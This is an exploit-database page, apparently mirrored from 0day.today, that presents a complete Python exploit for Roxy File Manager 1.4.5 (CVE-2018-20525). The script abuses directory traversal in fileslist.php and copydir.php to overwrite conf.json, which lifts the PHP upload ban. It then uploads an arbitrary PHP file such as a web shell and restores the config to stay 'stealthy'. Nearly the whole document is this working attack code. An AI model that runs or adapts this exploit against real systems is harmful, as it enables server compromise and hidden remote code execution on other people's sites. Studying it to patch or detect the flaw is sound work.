Lucene search
K

Roxy File Manager 1.4.5 PHP File Upload Restriction Bypass Exploit

🗓️ 06 Apr 2022 00:00:00Reported by Adam ShebaniType 
zdt
 zdt
🔗 0day.today👁 1007 Views

Roxy File Manager 1.4.5 PHP File Upload Restriction Bypas

Related
Code
# Exploit Title: Roxy File Manager 1.4.5 PHP File Upload Restriction Bypass
# Exploit Author: Adam Shebani (NULLHE4D)
# Software: Roxy File Manager
# Version: 1.4.5
# CVE: CVE-2018-20525
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-php
# Tested on: PHP 7.2 on Ubuntu 20.04 LTS and PHP 7.4 on Windows 10


# Roxy File Manager 1.4.5 restricts uploading files with certain
# extensions, including various PHP extensions. These forbidden
# extensions are configured in a file called 'conf.json' at the root
# of the file manager's code base. Sections #1 and #1.1 at
# https://www.exploit-db.com/exploits/46085 demonstrate a directory
# traversal vulnerability that allows exfiltrating arbitrary
# directories by copying them to a directory accessible through the
# file manager's web interface. The same vulnerability can be used
# to overwrite the 'conf.json' file by copying a directory
# containing a modified configuration file that has been uploaded.
# The directory must have the same name as the original
# configuration file's parent directory (usually 'fileman'). The
# source and destination directories will be merged and files from
# the destination directory get overwritten by the ones from the
# source if they have the same name.


import argparse, requests, json, re
from urllib.parse import urlparse, quote_plus
from random import randint
#from os import remove
from os.path import isfile


def failure():
    print("[*] it is advised to manually cleanup any files/directories created on the target by this exploit")
    exit(1)


argparser = argparse.ArgumentParser()
argparser.add_argument("-u", "--url", type=str, action="store", help="The URL to the target Roxy File Manager instance (e.g. http://localhost/fileman/)", required=True)
argparser.add_argument("-f", "--file", type=str, action="store", help="The PHP file to upload (e.g. shell.php)", required=True)
args = argparser.parse_args()

roxy_url = args.url
php_file = args.file
if not isfile(php_file):
    print("[-] specified PHP file not found")
    exit(1)

user_agent = "Mozilla/5.0 (Windows NT 6.4; rv:75.0.0) Gecko/20100101 Firefox/75.0.0"
headers = {"User-Agent": user_agent}
form_headers = {"User-Agent": user_agent, "Content-Type": "application/x-www-form-urlencoded"}
roxy_url += "" if roxy_url.endswith("/") else "/"
roxy_hostname = urlparse(roxy_url).hostname
uploads_path = urlparse(roxy_url).path + "Uploads"


# verify Roxy File Manager instance
res = requests.get(roxy_url, headers=headers, allow_redirects=False)
if res.status_code == 200 and "<title>Roxy file manager</title>" in res.text:
    print("[+] verified Roxy File Manager instance at " + roxy_url)
else:
    print("[-] couldn't find a Roxy File Manager instance at the specified URL")
    exit(1)


# get conf.json
url = roxy_url + "conf.json"
res = requests.get(url, headers=headers)
if res.status_code == 200:
    orig_conf = res.text
    orig_conf_json = json.loads(orig_conf)
    extensions = orig_conf_json["FORBIDDEN_UPLOADS"].split()
    if not "php" in extensions:
        print("[*] PHP files are already not forbidden from being uploaded")
        exit(0)
else:
    print("[-] couldn't find conf.json")
    exit(1)


# verify directory traversal vulnerability in fileslist
url = roxy_url + "php/fileslist.php"
body = "d={}&type=".format(quote_plus(uploads_path+"/.."))
res = requests.post(url, headers=form_headers, data=body)
res_json = json.loads(res.text)
if res.status_code == 200 and len(res_json) > 0 and "conf.json" in res.text:
    print("[+] verified directory traversal vulnerability in fileslist")
else:
    print("[-] couldn't verify directory traversal vulnerability in fileslist")
    exit(1)


# create fileman directory structure
url = roxy_url + "php/createdir.php"
random_dirname = "".join([str(randint(0,9)) for i in range(10)])
body = "d={}&n={}".format(quote_plus(uploads_path), random_dirname)
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
    print("[-] failed to create fileman directory structure")
    exit(1)
tmp_path = uploads_path + "/" + random_dirname

body = "d={}&n={}".format(quote_plus(tmp_path), "fileman")
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
    print("[-] failed to create fileman directory structure")
    failure()
fileman_path = tmp_path + "/fileman"


# upload modified conf.json
url = roxy_url + "php/upload.php"
modified_conf = re.sub("\sphp\s", " ", orig_conf)
with open("conf.json", "w") as conf_file:
    conf_file.write(modified_conf)
body = {"action": (None, "upload"), "method": (None, "ajax"), "d": (None, fileman_path), "files[]": open("conf.json", "rb")}
res = requests.post(url, headers=headers, files=body)
#remove("conf.json")
if '"res":"ok"' in res.text:
    print("[+] created fileman directory structure with modified conf.json")
else:
    print("[-] failed to upload modified conf.json")
    failure()


# overwrite server conf.json with copydir directory traversal vulnerability
url = roxy_url + "php/copydir.php"
body = "d={}&n={}".format(quote_plus(fileman_path), quote_plus(uploads_path+"/../.."))
res = requests.post(url, headers=form_headers, data=body)
if '"res":"ok"' in res.text:
    print("[+] overwritten server conf.json using copydir directory traversal")
else:
    print("[-] failed to overwrite server conf.json using copydir directory traversal")
    failure()


# upload php file
url = roxy_url + "php/upload.php"
body = {"action": (None, "upload"), "method": (None, "ajax"), "d": (None, tmp_path), "files[]": open(php_file, "rb")}
res = requests.post(url, headers=headers, files=body)
if '"res":"ok"' in res.text:
    print("[+] successfully uploaded PHP file")
    print("[*] you can manually request the file at: " + "/".join(roxy_url.split("/")[:3]) + tmp_path + "/" + php_file)
    print("[*] don't forget to delete this as well as it's containing directory using the file manager if you wanna be stealthy")
else:
    print("[-] failed to upload PHP file")
    failure()


# restore original conf.json and cleanup unwanted files/dirs
url = roxy_url + "php/deletefile.php"
body = "f=" + quote_plus(fileman_path+"/conf.json")
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
    print("[-] failed to cleanup")
    failure()

url = roxy_url + "php/upload.php"
with open("conf.json", "w") as conf_file:
    conf_file.write(orig_conf)
body = {"action": (None, "upload"), "method": (None, "ajax"), "d": (None, fileman_path), "files[]": open("conf.json", "rb")}
res = requests.post(url, headers=headers, files=body)
#remove("conf.json")
if not '"res":"ok"' in res.text:
    print("[-] failed to cleanup")
    failure()

url = roxy_url + "php/copydir.php"
body = "d={}&n={}".format(quote_plus(fileman_path), quote_plus(uploads_path+"/../.."))
res = requests.post(url, headers=form_headers, data=body)
if '"res":"ok"' in res.text:
    print("[+] original conf.json restored")
else:
    print("[-] failed to cleanup")
    failure()

url = roxy_url + "php/deletefile.php"
body = "f=" + quote_plus(fileman_path+"/conf.json")
res = requests.post(url, headers=form_headers, data=body)
if not '"res":"ok"' in res.text:
    print("[-] failed to cleanup")
    failure()

url = roxy_url + "php/deletedir.php?d=" + quote_plus(fileman_path)
res = requests.get(url, headers=headers)
if '"res":"ok"' in res.text:
    print("[+] cleanup finished successfully")
else:
    print("[-] failed to cleanup")
    failure()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation